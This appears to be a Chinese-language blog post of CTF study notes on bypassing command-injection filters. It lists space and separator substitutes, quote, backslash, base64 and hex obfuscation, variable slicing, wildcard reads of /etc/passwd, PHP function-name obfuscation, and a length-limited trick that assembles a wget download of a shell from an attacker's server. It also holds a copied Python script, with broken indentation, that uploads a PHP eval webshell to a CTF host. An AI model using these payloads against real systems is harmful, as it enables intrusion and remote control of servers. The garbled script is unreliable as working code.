初级命令执行绕过总结

绕过空格过滤

${IFS} 
$IFS$9
$IFS$1

$IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,为什么要用$9呢?因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1同理

<
<>

上面这俩也可以当空格使用

{cat,flag.php}  //用逗号实现空格功能,需要用{}括起来
%20
%09

如果命令执行环境是php环境,就可以使用%09替换空格符

对于 >,+ 等 符号的过滤

$PS2代替>
$PS4代替+

命令分隔符

先说最常规的

; 

表示顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行

&

表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&&

表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’

| 

表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l

|| 

表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”

在php环境下,也有url编码的符号可以代替分隔符

%0a        //换行符,即\n
%0d        //回车符,即\r

命令终止符

php环境中

%00 

%20#

黑名单绕过

连接符

''        //单引号
""        //双引号
··         //这是反引号,就是键盘esc下面那个
/

如果过滤的不严就可以用这些填充到字符串中间来绕过黑名单

wh\o\ami    //反斜线绕过
who"a"mi    //双引号绕过
whoa'm'i    //单引号绕过
whoam``i    //反引号绕过

echo d2hvYW1p|base64 -d|sh  //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码

//$*和$@,$x (x为1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt    在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami
who$@ami
whoa$*mi
还有一种骚操作
666`whoami`666      //bash: 666root666: command not found
666`\whoami`666     //bash: 666root666: command not found
//命令执行后的结果在2个666中间
w`f1hgb`ho`f1hgb`am`f1hgb`i     //反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i  //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi            //和上面的差不多,都是执行和拼接

拼接变量

linux系统中可以把字符变量拼接起来当作命令执行

a=l;b=s;$a$b        //这就相当于先给a、b赋值,然后拼接成 ls 命令

还可以从字符串变量中取一部分字符出来用于拼接

a=fly;b=age;        //可以用两种方式拼接出flag字符
${a:0:1}${a:1:1}${b:0:1}${b:1:1}
或者
${a:0:2}${b:0:2}
都可以表示"flag"

第一个冒号: 后的数字代表截取开始的位置,第二个冒号后的代表截取的字符数

而Linux是有环境变量的,从而

利用Linux的环境变量

echo ${PATH}   
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:1:9}
usr/local

所以,我们可以通过截断和拼接来得到我们想要的来getshell

${PATH:5:1}    
//l
${PATH:2:1}    
//s${PATH:5:1}
${PATH:2:1} 
//拼接后是ls,执行命令
${PATH:5:1}s           
//拼接后是ls,执行命令

文件名绕过

cat fl[abc]g.php                                 //匹配[abc]中的任何一个
cat f[a-z]ag.txt                                 //匹配a-z范围的任何字符
cat fla*                                         //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php       //内联执行
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd

命令执行函数绕过

这里只举例system()

system("cat /etc/passwd")
=
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
=
(sy.(st).em)("cat /etc/passwd");
=
//还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
=
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
=
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

限制字数的命令执行

linux下创建文件的命令可以用1>1创建文件名为1的空文件

a>1也可以,虽然会报错,但是还是可以创建空文件。

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n,

但是shell脚本里面是支持用转义字符转移换行符的 , 所以虽然命令被分解到了每一行 , 但是被转义了以后就相当于是一条命令了

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

简单的代码,可以利用

1>wget\
1>你的vps域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>hp        //这里可以拼接成任何你想执行的命令,上面这是从你的vps上下载一个shell.php来: wget xxx.com -O shell.php
ls>a
sh a

这里注意’.’不能作为文件名的开头,因为linux下’.’是隐藏文件的开头,ls列不出来,需要ls -a

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

把ls>a
改成
ls -t>a

附上大佬的详解

image-20210225231156002

图片中的脚本

#!/usr/bin/env python 
 import requests
 import base64 
 url = "https://web2.sniperoj.cn:10008/" 
 def add_slashes(cmd): 
     cmd = cmd.replace(".", "\\.") 
     cmd = cmd.replace("\\", "\\\\") 
     cmd = cmd.replace("/", "\\/") 
     cmd = cmd.replace("|", "\\|") 
     cmd = cmd.replace("&", "\\&") 
     cmd = cmd.replace("-", "\\-") 
     cmd = cmd.replace("<", "\\<") 
     cmd = cmd.replace(">", "\\>") 
     cmd = cmd.replace("#", "\\#") 
     cmd = cmd.replace(" ", "\\ ") 
     cmd = cmd.replace("=", "\\=") 
     return cmd 
def exec_cmd(cmd, max_length): 
    print "[+] cmd : %s" % (cmd) 
    cmd = add_slashes(cmd) 
    print "[+] Full cmd : %s" % (cmd) 
    if len(cmd) < max_length: 
        return requests.get(url + "?c=" + cmd).text[:-1135 - 57] every_length = max_length - len(">") - len("\\\\") 
    times = len(cmd) / every_length 
    for i in range(1, times + 1, 1): 
        index = i * every_length - 1 
        if cmd[index] == "\\": 
            cmd = cmd[0:index] + "\\" + cmd[index:] 
            cmds = [] 
            for i in xrange(times): 
                every = cmd[every_length * i:every_length * (i+1)] 
                true_cmd = ">%s\\\\" % (every) 
                cmds.append(true_cmd.replace("\\\\\\", "\\\\")) 
                end_cmd = ">%s" % (cmd[times * every_length:]) 
                if len(end_cmd) == 1: 
                    cmds[-1] = cmds[-1][0:-2] cmds.append(end_cmd) 
                    for i in cmds[::-1]: 
                        target = url + "?c=" + i print "[+] Sending : %s" % (target) 
                        requests.get(target) 
                        requests.get(url + "?c=" + "ls -t>1") 
                        requests.get(url + "?c=" + "sh 1") 
                        exec_cmd("echo %s>6" % (base64.b64encode("<?php eval($_POST[c]);?>")), 7) 
                        exec_cmd("cat 6|base64 -d>c", 7) 
                        exec_cmd("cp c c.php", 7) 
                        print "[%s]" % ("-" * 64) 
                        print "[+] Upload webshell successful!" 
                        print "[+] Webshell is stored at : %s" % (url + "c.php") 
                        print "[+] password : c" 
                        print "[%s]" % ("-" * 64)

大佬发出来的已经没有缩进了,脚本本身我还没细看,只是简单的加了几个回车,等有时间仔细学习的时候再修改一下缩进

PHP绕过小技巧

php短标签

PHP 会寻找起始和结束标记,也就是 <?php?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。

​ PHP 有一个 echo 标记简写 <?=, 它是更完整的 <?php echo 的简写形式。

标准文档

示例 #1 PHP 开始和结束标记

 1. <?php echo 'if you want to serve PHP code in XHTML or XML documents,        use these tags'; ?>2. You can use the short echo tag to <?= 'print this string' ?>.  It's equivalent to <?php echo 'print this string' ?>.3. <? echo 'this code is within short tags, but will only work '.      'if short_open_tag is enabled'; ?> 

​ 短标记 (第三个例子) 是被默认开启的,但是也可以通过 short_open_tag php.ini 来直接禁用。如果 PHP 在被安装时使用了 –disable-short-tags 的配置,该功能则是被默认禁用的。

注意:

​ 因为短标记可以被禁用,所以建议使用普通标记 (<?php ?><?= ?>) 来最大化兼容性。

%0a绕过

在正则表达式中

因为以’^’开头,以’$’结尾的只能匹配一行,也就是说我们可以用%0a,即url编码下的换行\n去绕过正则匹配


 上一篇
LD_PRELOAD LD_PRELOAD
构造一个带命令执行的`eval.os`文件,让其被`LD_PRELOAD`加载;然后在PHP中调用`mail`函数或`error_log`函数,函数内部会执行系统的`sendmail`命令;这样我们构造的`eval.os`就会加载并覆盖sendmail本应调用的库函数,达到命令执行的效果
2021-03-04
下一篇 
py2与py3中使用urllib库的不同点 py2与py3中使用urllib库的不同点
这段时间学ssrf,看py脚本经常碰到使用urllib库,而py2和py3的urllib库用法有些不一样,做个记录,以后好查找
2021-02-17
  目录